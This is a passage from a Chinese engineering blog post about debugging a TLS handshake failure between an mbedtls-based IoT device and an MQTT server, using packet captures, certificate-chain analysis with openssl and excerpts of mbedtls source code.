搭建终端复现环境虽说是要好好排查,可总得有个复现方法吧,正如我像他们吐槽的那样,总不可能我改一行代码,我输出个固件,然后发给远程的同事验证下吧,这样一来一回那效率得多低啊,搞不好真的通宵一晚都不一定搞得定。所以,在我本地搭建可复现问题的环境至关重要,直接决定能不能快速找到问题的突破口。冷静下来,我思考了一下,虽然客户那边的环境,域名还未完成备案不能做有效解析,但是从网络的基础知识我们可以知道,最终域名肯定是要转换成IP的呀,那我直接跳过域名,使用IP地址(这个IP地址自然是一个公网IP地址)连过去不就行了嘛?虽然,远程同事告诉,这样行不通,但凭借我对网络通讯的理解,应该是可行的。稍微补充一下:可能同事的意思是,不能走完网络通信的全部链路,因为TLS握手流程会涉及要域名的校验,但我只是想看下TLS握手阶段到底发生了啥错误,并不打算走完整个链路,所以可以一试。其实要绕过域名也很简单,比如:假设我们之前链接的MQTT broker地址是:gw.abc.com:12345 (12345是服务端口号)然后客户部署的环境IP地址是:8.2.45.6这时候,我们仅需要将MQTT broker的地址变成:8.2.45.6:12345 即可。其他不需要改,我直接输出一个IP地址版本的固件做测试,果然在我本地复现了 -0x7a00 的现场问题。同时,后面又不知怎么地不出现 -0x7a00错误了,转而报 -0x7780 错误码,同样还是TLS握手失败。单从终端的log看,与现场发过来的一样,都是提示TLS握手失败,没有其他的有效信息了。所以,必须得有其他手段来辅助排查了。这此期间,根据远程同事的反馈,我也试过使用PC端的MQTT客户端,比如 MQTT.fx 做个简单测试,的确是可以完成TLS握手,并建立有效的网络通讯链路的。同事,我还向运维的同事了解了下,尝试了解更多部署相关的信息,至于运维同事给我发出了多个 灵魂拷问 ,我来不及一一回答,我还得研究分析呢。3.3 搭建网络抓包环境根据过往做网络编程开发的经验,分析网络问题,从代码层面无法得到更多有效信息的时候,你应该要考虑去抓网络报文来做分析了。只有精准的网络报文可以告诉你第一现场的疑点在哪里。为了控制本文的篇幅,如何搭建基于Wi-Fi通讯的终端抓包方法,我将会在另一篇博文里面介绍,感兴趣的可以自行跳转过去参考参考。搭建好网络抓包环境之后,直接上wireshark,TLS的报文出来了。如下图所示:图中仅展示了TLS握手部分的流程,不过问题也相对较清晰了,报文显示的流程如下:终端发起 Client Hello ->服务端回复 Server Hello + Certificate + Server Hello Done ->终端响应 Client Key Exchange ->服务器回复 Alert,错误描述是:Illegal Parameter ->握手失败,终端报错。关于TLS握手的详细流程下文会详讲,目前能拿到的有效信息就这么多了,剩下的就是如何从表面的一个个有效信息,层层突破,最终找到问题的根源。从上面的抓包来看,至少这个 Illegal Parameter 是一个很关键的突破口。4 深入分析4.1 知识点补充由于网络问题涉及的范围非常广,就拿本案例来说,就可能涉及到好几块的知识点,为了保证大家能读懂相关的内容,我特意将相关的知识点,简要地梳理一遍。如果认为自己对这几部分知识掌握得比较好的,可以跳到下一章节。4.1.1 网络分层这里不会详细将如何分层,仅给大家介绍一个宏观的概念,让你了解TCP和TLS所在的层次。按照TCP/IP分层模型,从上到下,分别是:应用层、传输层、网络层、数据链路层、物理层。参考了一些资料,找到这样一张图:从这张图,我们可以比较直观地知道,TLS协议位于应用层(比如HTTP协议)和传输层(TCP协议)之间,那么从这么一个从属关系,我们可以大概知道什么时候该往下层找问题原因,什么时候该往上层找问题原因。4.1.2 TCP层的三次握手和四次挥手受篇幅原因,这里也不会详细阐述TCP的三次握手和四次挥手,感兴趣的可以参考其他资料自行了解。这个仅贴个图做简要说明:从上一小节的中了解的TCP与TLS的层次关系,我们知道在建立TLS握手前,一定得先完成TCP的三次握手。4.1.3 TLS的握手流程TLS的握手流程是本案例的核心知识点,虽然博主也排查过不少TLS相关的问题,也参考学习过很多TLS相关的学习资料,对TLS的哥哥流程还是有所了解的。但无奈,我还是缺少自己从头到尾地用文字和图表梳理出属于自己的学习资料,所以为了能够比较好地展示相关的知识点给大家,我决定借用网友整理的博文来打辅助。全文大家可以去 这里 参考。下面这张图,基本就高度概括了TLS握手的核心流程:关于每一步出现的内容包括哪些要素,都可以从 这里 找到答案,自然最后我们分析问题,肯定是要结合这里的知识点进行突破。4.1.4 数字证书相关知识了解上面提及的TLS握手流程,就不得不提期间最关键的一步:证书校验,这个步骤是保证TLS安全绘画的核心所在。在了解证书校验之前,需要对以下几个知识点进行了解:签名与验签这里说的 签名 指的是 数字签名,而不是找某个大明星用笔签名,它是利用 非对称安全算法 实现数据安全的一种真实场景应用;而 验签 是 签名 的逆过程,正如早前我的一篇博文 【安全算法之概述】一文带你简要了解常见常用的安全算法 介绍 非对称安全算法那一章节介绍的那样;只有非对称安全算法,借助公私钥的功能才能发挥出最大功效。数字证书使用 签名和验签 等技术手段确保信任关系的一个数字凭证,可有效解决网络通讯中的安全信任问题。证书的内容一般包括:电子签证机关的信息、公钥用户信息、公钥、权威机构的签字和有效期等等。证书的格式和验证方法普遍遵循X.509 国际标准。CA证书CA是证书的签发机构,它是公钥基础设施(Public Key Infrastructure,PKI)的核心。CA是负责签发证书、认证证书、管理已颁发证书的机关。CA机构拥有一个证书,这个证书就是CA证书,一般我们也称之为 根证书 或 ROOT CA 。证书链在实践过程中,全球范围内,CA机构是有限的,为了能够更加高效地签发和管理数字证书,衍生出一个次级CA机构,它们的证书是顶级CA签发的,所以它的信任关系是由顶级CA来保证的。同样的,还会有3级CA结构,4级CA机构,等等,他们的证书都是由上一级CA机构签发,从而形成一个链式的信任关系。而最终使用的证书,比如服务器端的证书,或者终端侧的证书,这种证书一般就不具备向下级签发证书的能力,他们属于整个证书信任链的最底端。签名算法根据 【安全算法之概述】一文带你简要了解常见常用的安全算法 的介绍,我们知道要执行一个签名操作,需要用到两种算法,一个用于加解密的 非对称算法,还有一种是用于计算信息摘要的 摘要算法。一般来说,我们表示一种签名算法的写法是:xxxWithyyyEncryption,说明如下:xxx:表示使用的摘要算法,yyy:表示使用的非对称算法。举个例子:SHA256WithRSAEncryption,说明如下:该签名采用的摘要算法是 SHA256,非对称算法采用的是 RSA,至于RSA的密钥长度,这里是看不出来的。4.2 深入分析有了上面的这些知识点进行铺垫之后,我们尝试开始分析现场问题。4.2.1 顺着表面错误往下查回到抓到的现场报文,我们看到最终TLS握手的挂断是服务器发起的,而给出的错误描述是 illegal parameter 。顺着这个关键词,我开始在网络上搜索相关的信息:但基本上看到的内容对我帮助并不大,以下几个链接可以参考下:SSLException: Received fatal alert: illegal_parameter after Java 1.7 upgrade OpenSSL: Fatal SSL alert number 47 (Illegal Parameter) | On Web Security1 SSL alert number 47: TLS read fatal alert "illegal parameter" - ZABBIX Forums虽说帮助不是很大,但也不是一无所获,但至少知道这个错误代码的是 TLS握手中的 一大类错误,而且是跟 参数 有关的。结合报错的前一条报文是客户端响应的 Client Key Exchange,自然是这个exchange里面包含了不合法的参数。4.2.2 终端LOG不能丢再回来终端侧的LOG,有个很明显的错误码 -0x7a00,那我们不妨查一下mbedtls中是如何定义这个错误码的:include/mbedtls/ssl.h:90:#define MBEDTLS_ERR_SSL_BAD_HS_CERTIFICATE -0x7A00 /**< Processing of the Certificate handshake message failed. */错误表明在处理 对方的证书 时遇到了错误。稍微搜索了一下它的出现代码,嗯,还是有点多啊:比如像这里的代码: /* * Same message structure as in mbedtls_ssl_write_certificate() n = ( ssl->in_msg[i+1] << 8 ) | ssl->in_msg[i+2]; if( ssl->in_msg[i] != 0 || ssl->in_hslen != n + 3 + mbedtls_ssl_hs_hdr_len( ssl ) ) MBEDTLS_SSL_DEBUG_MSG( 1, ( "bad certificate message" ) ); mbedtls_ssl_send_alert_message( ssl, MBEDTLS_SSL_ALERT_LEVEL_FATAL, MBEDTLS_SSL_ALERT_MSG_DECODE_ERROR ); return( MBEDTLS_ERR_SSL_BAD_HS_CERTIFICATE ); }一时半会,肯定无法一下子判断是那个节点跳出去的。另一方面,在复现的过程中,终端还出现过 -0x7780 的错误码,而这个错误码是可以对得上我抓的网络报文的,所以从它这里下手估计会好一些。于是查了一下这个错误码:#define MBEDTLS_ERR_SSL_UNEXPECTED_MESSAGE -0x7700 /**< An unexpected message was received from our peer. */ #define MBEDTLS_ERR_SSL_FATAL_ALERT_MESSAGE -0x7780 /**< A fatal alert message was received from our peer. */ #define MBEDTLS_ERR_SSL_PEER_VERIFY_FAILED -0x7800 /**< Verification of our peer failed. */结果给看懵了,这个 7780 不就是收到 ALERT 消息吗?嗯,的确是跟抓的网络报文对上了。绕了一圈,又回来了,ALERT 的原因不就是 illegal parameter 吗?illegal parameter 的原因是 Client Key Exchane 参数有误?多留了一个心眼,还是去看看 Client Key Exchange 吧。4.2.3 Client-Key-Exchange能有什么问题通过前面的TLS握手流程知识,我们知道Client Key Exchange中的内容包括:client_key_exchange: 客户端计算产生随机数字pre-master,并且用服务端公钥加密,发送给服务端,客户端以后具有自己的随机数A和服务端的随机数B,结合pre-master计算出协商得到的对称密钥.所以这里面最终的就是客户端发送随机数的密文过去,如报文所示:我保留了适当的猜想,既然对方说我的client-key-exchange有问题,这能有啥问题吗?这个密文就是使用对方的公钥算出来的,这个公钥来源于对方的证书,既然证书校验都已经过了,自然计算也不会有什么问题呀。怀着试一试的态度,我找到了之前连我们其他公网环境能够顺利握手成功的报文,拿出来对比一下:因为是密文,所以对比二进制数据肯定没啥意思,但是我注意到了他们的 长度 是不一样的。出问题的是 386 字节,除去2个字节的类型编码,实际有效数据是 384 字节,而没有出问题的握手报文的有效数据长度是 256字节。由于早前研究过RSA这种非对称算法,对它的公私钥运算还是铭记于心,一下子我想到了:这段密文的长度是384字节,证明加密的 RSA公钥是3072位 的(384x8得到),因为这个RSA密钥长度的模长就是384;而256字节的密文,对应的 RSA公钥是2048位 的(256x8得到),因为这个RSA密钥长度的模长正好就是256。看到这里,我恍然大悟,卧槽,可能是mbedtls不支持RSA3072啊,所以算出来的密文是不正确的,导致对方解不开,于是给你报一个 illegal paramter 表示 你的数据有误,我解不开 ?看样子好像有点顺利成章了,虽然还没真正找到根本原因,但总算是看到眉目了,有方向继续往下走了。这个时候已经来到晚上快11点了,办公室没几个人了,还有老大跟我在追这个问题,没办法,远程的那帮同事在出着差呢,自然是不可能那么早下班的,还叮嘱我们有眉目的话,尽快即使同步过去。由于实在没有更好的头绪,加上太晚了,脑子也不好使了,我就跟老大说,要不今天就先这样吧,明天过去我第一时间继续排查,争取解决。其实我自己是知道的,明天必须解决,因为按照出差同事的安排,明天就是要完成端侧和移动侧的所有功能验证,再后台也就是周五还需要给客户做演示和相关技术培训。倘若明天这个问题不能解决,那么出差的同事可能要顺延在那了,并且可能客户周末不一定会上班,那就要拖到下周了,这后果也不好。还好,老大还是信任我,就答应我先回了,明天再接着排查,走之前把今天发现的问题点梳理下,给那边同步下。(这里的RSA384其实说的就是RSA3072bits算法,RSA384是以模长来命名的一种叫法)回家的路上,还受到出差那边的负责人亲自语音过来同步确认,千叮万嘱明天一定得搞定,看了明天亚历山大。不管了,回去睡一觉再说。虽然是这么想,但回家的路上,还是时不时地会捋一捋当天的思路,以及留有的疑问点。4.2.4 RSA算法出问题了吗接着前一天的疑点,既然怀疑 client-key-exchange 中的密文因为使用RSA3072计算有误,从而推断mbedtls可能默认不支持RSA3072密钥长度,那么真的不支持吗?于是,开始浏览并检索mbedtls的相关代码,先是从mbedtls的配置文件 mbedtls_config.h 中找到了 MBEDTLS_RSA_C,这个选项表示当前mbedtls支持RSA算法,但并没有说支持的最大密钥位数是多少,还得接着找线索。在找的过程中,发现mbedtls中实现RSA算法使用的是 BIGNUM ,于是首先找到它的头文件 bignum.h ,快速浏览,我找到了一下相关的一些宏定义:/* * Maximum size of MPIs allowed in bits and bytes for user-MPIs. * ( Default: 512 bytes => 4096 bits, Maximum tested: 2048 bytes => 16384 bits ) * Note: Calculations can temporarily result in larger MPIs. So the number * of limbs required (MBEDTLS_MPI_MAX_LIMBS) is higher. #define MBEDTLS_MPI_MAX_SIZE 1024 /**< Maximum number of bytes for usable MPIs. */ #endif /* !MBEDTLS_MPI_MAX_SIZE */ #define MBEDTLS_MPI_MAX_BITS ( 8 * MBEDTLS_MPI_MAX_SIZE ) /**< Maximum number of bits for usable MPIs. */结合注释,大致了解了,这个 MBEDTLS_MPI_MAX_SIZE 就是能支持的最大RSA模长,而 MBEDTLS_MPI_MAX_BITS 对应的就是RSA密钥位数的最大值,这两个值有一个8倍的数量关系。回到我们的疑点,mbedtls的默认配置是否支持RSA3072bits,从上面就知道了答案:它最大支持是8192bits,自然它就支持3072bits。线索又断了,但是我们现在可以往另一方面想了,这段密文使用RSA加密暂且可以认为是没有问题的,那这就证明它使用的RSA公钥的密钥长度是3072位。4.2.5 对方证书看似有很大问题顺着上面的思路,既然计算密文的RSA公钥长度是 3072 位,那就证明在当前握手流程中,TLS认为对方证书中的公钥就是RSA3072位的。但,实际上是不是 RSA3072 位呢?我们需要一些手段来确认下。还是从前面抓到的网络报文入手,我们找到对应证书部分的内容;根据TLS握手流程的知识我们知道,在握手阶段,证书都是明文的字节流传输的,所以在wireshark中可以直接解析查看。于是我们从wireshark中看到了这样的一些内容:由于网络分包的原因,一般我们在wireshark里面会看到 Server-Hello + Certificate + Server-Hello-Done 在一个报文条里显示,但实际它是多条报文合并而来的。由此我们可知,在TLS握手流程中,服务器端下发了3级证书,从上到下分别是:服务器证书 -》次级CA证书 -》顶级CA证书 。而根据前面提及的证书链的相关知识,我们知道签发的从属关系,应该是:顶级CA 签发 次级CA,次级CA 再签发服务器证书。如何使用wireshark分析一个数字证书?其实wireshark已经帮你把数字证书的每个字段都解析好了,你只需要顺着那些节点,一个个点开查看即可。以顶级CA证书为例,我们看下它的内容,我们重点关注一下几个内容:signature (sha1WithRSAEncryption):表明证书签名时使用的算法是 SHA1withRSA。这里的issuer: rdnSequence (0):表明证书 签发者 信息,这里的信息包括CN(commonName)、ON(organizationName)、LN(localityName)等等。这些缩写都有特定的含义,需要查阅X509规范中对这些字段的描述,一般来说,我们从CN字段就可以简单了解这个 角色 的身份了。subject: rdnSequence (0):表明证书 持有者 的信息,格式与issuer: rdnSequence (0)一样,都是CN、ON、LN这些信息;由于我们分析是顶级CA,它位于信任链的最顶端,所以它的证书比较特别,它是自签发的,所以issuer字段和subject字段都是一模一样的;如果不是顶级CA证书的话,这两者信息恰好能体现签发的从属关系。validity:表明证书的 有效期,比如这个CA证书的有效期就是:24年,到2038年过期。subjectPublicKeyInfo:这部分就是证书中包含的【证书持有者的】公钥部分。以RSA算法为例,一个RSA公钥主要包含两部分:公钥模长、公钥指数(常用值 65537,即0x00010001)公钥的模长直接决定了RSA的密钥长度,位数越高,加解密的复杂度越高,同意需要的运算能力以及RAM也会更高。RSA的公钥指数理论上可以随意选择的,但常用的典型值是65537。encrypted:这部分是证书的签名字段,它是由 签发者 生成的(具体的做法是使用签发者的私钥对证书的哈希做加密算出来),签名字段是用于别人做证书验签使用的。Extension (id-ce-basicConstraints:critical: True:这个字段主要是表明该证书是否具备签发下级证书的能力,比如这个顶级CA证书,自然是具备这个能力的。没有wireshark怎么分析一个数字证书?这里补充一点,如果我们没有wireshark工具做辅助,比如在实践项目中,别人可能以文件的形式发了一个数字证书文件给你,你怎么去查看并分析这个证书文件呢?当然,工具方法有很多中,这里我推荐使用 openssl 的命令行工具。一般来说数字证书都是采用国际通用的X509,这种格式的数字证书,每个字段代表啥含义都是约定好的,大家按照规范解析就好了。另一方面,数字证书文件一般有两种表面格式,可以从后缀名简单做个判断:后缀名为(.crt .pem .cer):一般就是 PEM 格式,这种格式是明文的文件,文本工具打开后可以看到一大段用base64加密过的明文字符,并在文件的开头和结尾有 -----BEGIN CERTIFICATE----- 和 -----END CERTIFICATE----- 字样。后缀名为(.der):一般就是 DER 格式,这种格式其实是个二进制形式,所以文本工具打开是会乱码的,需要用二进制工具来查看。使用openssl工具可以实现两个格式的转换,可以网上找一找教程,一般工程实践中,使用 PEM 格式居多。这里介绍一下,使用openssl命令行查看证书内容,以下操作假设你的编译环境以及具备了openssl命令行环境,一般的Linux发行版本都自带了openssl命令行,Windows环境的话,客户需要装opensll,git-bash工具,以下以Windows环境git-bash中操作进行介绍:# 输入这个命令查看openssl的版本,如果提示命令不存在,则标识当前环境不支持openssl命令行 $ openssl version OpenSSL 1.1.1i 8 Dec 2020 # 输入这个命令解析X509证书,假设当前目录已经有一个名叫ca_root.pem的顶级CA证书;其中 **inform PEM** 可省略,默认解析的就是PEM格式。 $ openssl x509 -in ca_root.pem -text -inform PEM Certificate: Data: Version: 3 (0x2) Serial Number: 1 (0x1) Signature Algorithm: sha1WithRSAEncryption Issuer: C = GB, ST = Greater Manchester, L = Salford, O = Comodo CA Limited, CN = AAA Certificate Services Validity Not Before: Jan 1 00:00:00 2004 GMT Not After : Dec 31 23:59:59 2028 GMT Subject: C = GB, ST = Greater Manchester, L = Salford, O = Comodo CA Limited, CN = AAA Certificate Services Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:be:40:9d:f4:6e:e1:ea:76:87:1c:4d:45:44:8e: be:46:c8:83:06:9d:c1:2a:fe:18:1f:8e:e4:02:fa: f3:ab:5d:50:8a:16:31:0b:9a:06:d0:c5:70:22:cd: 49:2d:54:63:cc:b6:6e:68:46:0b:53:ea:cb:4c:24: c0:bc:72:4e:ea:f1:15:ae:f4:54:9a:12:0a:c3:7a: b2:33:60:e2:da:89:55:f3:22:58:f3:de:dc:cf:ef: 83:86:a2:8c:94:4f:9f:68:f2:98:90:46:84:27:c7: 76:bf:e3:cc:35:2c:8b:5e:07:64:65:82:c0:48:b0: a8:91:f9:61:9f:76:20:50:a8:91:c7:66:b5:eb:78: 62:03:56:f0:8a:1a:13:ea:31:a3:1e:a0:99:fd:38: f6:f6:27:32:58:6f:07:f5:6b:b8:fb:14:2b:af:b7: aa:cc:d6:63:5f:73:8c:da:05:99:a8:38:a8:cb:17: 78:36:51:ac:e9:9e:f4:78:3a:8d:cf:0f:d9:42:e2: 98:0c:ab:2f:9f:0e:01:de:ef:9f:99:49:f1:2d:df: ac:74:4d:1b:98:b5:47:c5:e5:29:d1:f9:90:18:c7: 62:9c:be:83:c7:26:7b:3e:8a:25:c7:c0:dd:9d:e6: 35:68:10:20:9d:8f:d8:de:d2:c3:84:9c:0d:5e:e8: 2f:c9 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: A0:11:0A:23:3E:96:F1:07:EC:E2:AF:29:EF:82:A5:7F:D0:30:A4:B4 X509v3 Key Usage: critical Certificate Sign, CRL Sign X509v3 Basic Constraints: critical CA:TRUE X509v3 CRL Distribution Points: Full Name: URI:http://crl.comodoca.com/AAACertificateServices.crl Full Name: URI:http://crl.comodo.net/AAACertificateServices.crl Signature Algorithm: sha1WithRSAEncryption 08:56:fc:02:f0:9b:e8:ff:a4:fa:d6:7b:c6:44:80:ce:4f:c4: c5:f6:00:58:cc:a6:b6:bc:14:49:68:04:76:e8:e6:ee:5d:ec: 02:0f:60:d6:8d:50:18:4f:26:4e:01:e3:e6:b0:a5:ee:bf:bc: 74:54:41:bf:fd:fc:12:b8:c7:4f:5a:f4:89:60:05:7f:60:b7: 05:4a:f3:f6:f1:c2:bf:c4:b9:74:86:b6:2d:7d:6b:cc:d2:f3: 46:dd:2f:c6:e0:6a:c3:c3:34:03:2c:7d:96:dd:5a:c2:0e:a7: 0a:99:c1:05:8b:ab:0c:2f:f3:5c:3a:cf:6c:37:55:09:87:de: 53:40:6c:58:ef:fc:b6:ab:65:6e:04:f6:1b:dc:3c:e0:5a:15: c6:9e:d9:f1:59:48:30:21:65:03:6c:ec:e9:21:73:ec:9b:03: a1:e0:37:ad:a0:15:18:8f:fa:ba:02:ce:a7:2c:a9:10:13:2c: d4:e5:08:26:ab:22:97:60:f8:90:5e:74:d4:a2:9a:53:bd:f2: a9:68:e0:a2:6e:c2:d7:6c:b1:a3:0f:9e:bf:eb:68:e7:56:f2: ae:f2:e3:2b:38:3a:09:81:b5:6b:85:d7:be:2d:ed:3f:1a:b7: b2:63:e2:f5:62:2c:82:d4:6a:00:41:50:f1:39:83:9f:95:e9: 36:96:98:6e从输出的结果看,我们照样取到了wireshark解析出来的那些数据,也用一些比较友好的递进关系展现给我们,非常地方便查看。网络报文中的证书链信息用上面的方法,我们分析下本次TLS握手中的各级证书,筛选出其主要参数如表所示:编号类别证书持有者证书签发者证书签名算法证书公钥长度是否为CA备注1服务器证书服务器(*.xxx.com)TrustAsia RSA DV TLS CA G2sha384WithRSAEncryption2048bits否 2次级CA证书TrustAsia RSA DV TLS CA G2AAA Certificate Servicessha256WithRSAEncryption3072bits是 3顶级CA证书AAA Certificate ServicesAAA Certificate Servicessha1WithRSAEncryption2048bits是证书是自签发从这3个证书可以发现:证书1是被证书2签发,而证书2被证书3签发,证书3是顶级CA,它是自签发的。上面这个表格中,最重要的部分是 证书签名算法 和 证书公钥长度:根据上面的关于 签名算法 的小知识,我们可以知道一个很重要信息,这个信息直接就差不多可以解开谜团了。服务器证书采用的是 sha384WithRSAEncryption 签名的,而它本身的RSA密钥长度是 2048bits;次级CA证书的签名算法是 sha256WithRSAEncryption ,而它本身的RSA密钥长度是 3072bits。这说明啥?联想起,我们上面分析的 Client-Key-Exchange,传递的密文不是 384字节吗?对应的RSA密钥长度正是 3072bits。所以,我们是不是有理由推荐,终端在计算 Client-Key-Exchange 的时候,采用了 次级CA证书的公钥,而不是服务器证书的公钥?按理说,mbedtls是一个很成熟的TLS实现库,理论上不可能犯这么低级错误的。那么,原因只有一个,很有可能,由于某些配置导致,TLS握手(证书验签等环节)出问题了,从而终端 把次级CA证书当作了服务器证书使用。至于,为什么会错误这个 错误,看来只能分析 mbedtls 的实现源码了。4.2.6 mbedtls中证书校验的实现有问题吗以前我们知道openssl实现的TLS,但由于它过于庞大,一般资源紧张的嵌入式系统都倾向于选择 mbedtls。相对而言,轻量了许多,但是虽说轻量,但TLS本身流程就比较复杂,各种流程跳转,各种算法实现,如果找不到方向的话,去看源码绝对是一头雾水。我的建议是:你要想去看mbedtls的实现源码,至少你应该把TLS的相关流程要了然于胸,然后有针对性地看每个流程(状态)的实现!以我手上的版本为例:mbed TLS ChangeLog (Sorted per branch, date) = mbed TLS 2.16.0 branch released 2018-12-21基本可以按以下方式进行梳理下:因为我要排查TLS证书校验部分,所以我会重点排查这几个文件:因为,TLS流程中 CERTIFICATE 跟着 SERVER_HELLO 之后,所以我会在 ssl_cli.c (实现TLS客户端的源码)文件里面先检索 server_hello,这样就很容易找到这样一个函数:static int ssl_parse_server_hello( mbedtls_ssl_context *ssl )顺着这个函数,我们找到它的调用之处,一下子就发现新大陆了:/* * SSL handshake -- client side -- single step int mbedtls_ssl_handshake_client_step( mbedtls_ssl_context *ssl ) int ret = 0; if( ssl->state == MBEDTLS_SSL_HANDSHAKE_OVER || ssl->handshake == NULL ) return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA ); MBEDTLS_SSL_DEBUG_MSG( 2, ( "client state: %d", ssl->state ) ); // 省略 。。。 switch( ssl->state ) case MBEDTLS_SSL_HELLO_REQUEST: ssl->state = MBEDTLS_SSL_CLIENT_HELLO; break; * ==> ClientHello case MBEDTLS_SSL_CLIENT_HELLO: ret = ssl_write_client_hello( ssl ); break; * <== ServerHello * Certificate * ( ServerKeyExchange ) * ( CertificateRequest ) * ServerHelloDone case MBEDTLS_SSL_SERVER_HELLO: ret = ssl_parse_server_hello( ssl ); break; case MBEDTLS_SSL_SERVER_CERTIFICATE: ret = mbedtls_ssl_parse_certificate( ssl ); break; case MBEDTLS_SSL_SERVER_KEY_EXCHANGE: ret = ssl_parse_server_key_exchange( ssl ); break; case MBEDTLS_SSL_CERTIFICATE_REQUEST: ret = ssl_parse_certificate_request( ssl ); break; case MBEDTLS_SSL_SERVER_HELLO_DONE: ret = ssl_parse_server_hello_done( ssl ); break; * ==> ( Certificate/Alert ) * ClientKeyExchange * ( CertificateVerify ) * ChangeCipherSpec * Finished case MBEDTLS_SSL_CLIENT_CERTIFICATE: ret = mbedtls_ssl_write_certificate( ssl ); break; case MBEDTLS_SSL_CLIENT_KEY_EXCHANGE: ret = ssl_write_client_key_exchange( ssl ); break; case MBEDTLS_SSL_CERTIFICATE_VERIFY: ret = ssl_write_certificate_verify( ssl ); break; case MBEDTLS_SSL_CLIENT_CHANGE_CIPHER_SPEC: ret = mbedtls_ssl_write_change_cipher_spec( ssl ); break; case MBEDTLS_SSL_CLIENT_FINISHED: ret = mbedtls_ssl_write_finished( ssl ); break;看明白了吗?这里就是一个 有限状态机 的处理机制,TLS握手流程中的每一步对应一个状态,分阶段去处理。这样就很清晰了,比如我要排查 证书校验 相关的,我只需要关注 MBEDTLS_SSL_SERVER_CERTIFICATE 即可,后面我要排查 Client-Key-Exchange,我只需要关注 MBEDTLS_SSL_CLIENT_KEY_EXCHANGE 即可。先看下 证书校验 部分,这里因篇幅原因,我就只梳理关键的节点调用,辅以适当的注释:mbedtls_ssl_handshake_client_step -> mbedtls_ssl_parse_certificate -> ssl_parse_certificate_chain -> // 把服务器端传过来的几个证书,整理成一个【证书链】,这里只是从buffer中取出,简单地根据ASN.1解析成X509证书,证书链存在 ssl->session_negotiate->peer_cert 中 mbedtls_x509_crt_verify_restartable -> //开始校验证书链, x509_crt_verify_chain -> //这里是真正地对证书链进行校验 x509_crt_find_parent -> //匹配证书的父节点(证书签发者),进行验签 //证书的其他要素,比如域名地址、证书有效期等等,校验通过后,返回成功,状态机跳转到下一个状态。所以这里很关键的代码就是在 证书链 校验上面,我把关键的代码贴出来:/* * Build and verify a certificate chain * Given a peer-provided list of certificates EE, C1, ..., Cn and * a list of trusted certs R1, ... Rp, try to build and verify a chain * EE, Ci1, ... Ciq [, Rj] * such that every cert in the chain is a child of the next one, * jumping to a trusted root as early as possible. * Verify that chain and return it with flags for all issues found. * Special cases: * - EE == Rj -> return a one-element list containing it * - EE, Ci1, ..., Ciq cannot be continued with a trusted root * -> return that chain with NOT_TRUSTED set on Ciq * Tests for (aspects of) this function should include at least: * - trusted EE * - EE -> trusted root * - EE -> intermedate CA -> trusted root * - if relevant: EE untrusted * - if relevant: EE -> intermediate, untrusted * with the aspect under test checked at each relevant level (EE, int, root). * For some aspects longer chains are required, but usually length 2 is * enough (but length 1 is not in general). * Arguments: * - [in] crt: the cert list EE, C1, ..., Cn * - [in] trust_ca: the trusted list R1, ..., Rp * - [in] ca_crl, profile: as in verify_with_profile() * - [out] ver_chain: the built and verified chain * Only valid when return value is 0, may contain garbage otherwise! * Restart note: need not be the same when calling again to resume. * - [in-out] rs_ctx: context for restarting operations * Return value: * - non-zero if the chain could not be fully built and examined * - 0 is the chain was successfully built and examined, * even if it was found to be invalid static int x509_crt_verify_chain( mbedtls_x509_crt *crt, mbedtls_x509_crt *trust_ca, mbedtls_x509_crl *ca_crl, const mbedtls_x509_crt_profile *profile, mbedtls_x509_crt_verify_chain *ver_chain, mbedtls_x509_crt_restart_ctx *rs_ctx ) /* Don't initialize any of those variables here, so that the compiler can * catch potential issues with jumping ahead when restarting */ int ret; uint32_t *flags; mbedtls_x509_crt_verify_chain_item *cur; mbedtls_x509_crt *child; mbedtls_x509_crt *parent; int parent_is_trusted; int child_is_trusted; int signature_is_good; unsigned self_cnt; child = crt; self_cnt = 0; parent_is_trusted = 0; child_is_trusted = 0; while( 1 ) { /* Add certificate to the verification chain */ cur = &ver_chain->items[ver_chain->len]; cur->crt = child; cur->flags = 0; ver_chain->len++; flags = &cur->flags; /* Check time-validity (all certificates) */ if( mbedtls_x509_time_is_past( &child->valid_to ) ) *flags |= MBEDTLS_X509_BADCERT_EXPIRED; if( mbedtls_x509_time_is_future( &child->valid_from ) ) *flags |= MBEDTLS_X509_BADCERT_FUTURE; /* Stop here for trusted roots (but not for trusted EE certs) */ if( child_is_trusted ) return( 0 ); /* Check signature algorithm: MD & PK algs */ if( x509_profile_check_md_alg( profile, child->sig_md ) != 0 ) *flags |= MBEDTLS_X509_BADCERT_BAD_MD; if( x509_profile_check_pk_alg( profile, child->sig_pk ) != 0 ) *flags |= MBEDTLS_X509_BADCERT_BAD_PK; /* Special case: EE certs that are locally trusted */ if( ver_chain->len == 1 && x509_crt_check_ee_locally_trusted( child, trust_ca ) == 0 ) return( 0 ); #if defined(MBEDTLS_ECDSA_C) && defined(MBEDTLS_ECP_RESTARTABLE) find_parent: #endif /* Look for a parent in trusted CAs or up the chain */ ret = x509_crt_find_parent( child, trust_ca, &parent, &parent_is_trusted, &signature_is_good, ver_chain->len - 1, self_cnt, rs_ctx ); /* No parent? We're done here */ if( parent == NULL ) *flags |= MBEDTLS_X509_BADCERT_NOT_TRUSTED; return( 0 ); /* Count intermediate self-issued (not necessarily self-signed) certs. * These can occur with some strategies for key rollover, see [SIRO], * and should be excluded from max_pathlen checks. */ if( ver_chain->len != 1 && x509_name_cmp( &child->issuer, &child->subject ) == 0 ) self_cnt++; /* path_cnt is 0 for the first intermediate CA, * and if parent is trusted it's not an intermediate CA */ if( ! parent_is_trusted && ver_chain->len > MBEDTLS_X509_MAX_INTERMEDIATE_CA ) /* return immediately to avoid overflow the chain array */ return( MBEDTLS_ERR_X509_FATAL_ERROR ); /* signature was checked while searching parent */ if( ! signature_is_good ) *flags |= MBEDTLS_X509_BADCERT_NOT_TRUSTED; /* check size of signing key */ if( x509_profile_check_key( profile, &parent->pk ) != 0 ) *flags |= MBEDTLS_X509_BADCERT_BAD_KEY; /* Check trusted CA's CRL for the given crt */ *flags |= x509_crt_verifycrl( child, parent, ca_crl, profile ); /* prepare for next iteration */ child = parent; parent = NULL; child_is_trusted = parent_is_trusted; signature_is_good = 0; }核心流程就是,找到证书的签发者,然后验签,并校验证书的各个要素。最后完成校验后,整个流程会认为存在 ssl->session_negotiate->peer_cert 证书链中的第一个证书就是服务器证书,然后下一阶段执行 Client-Key-Exchange 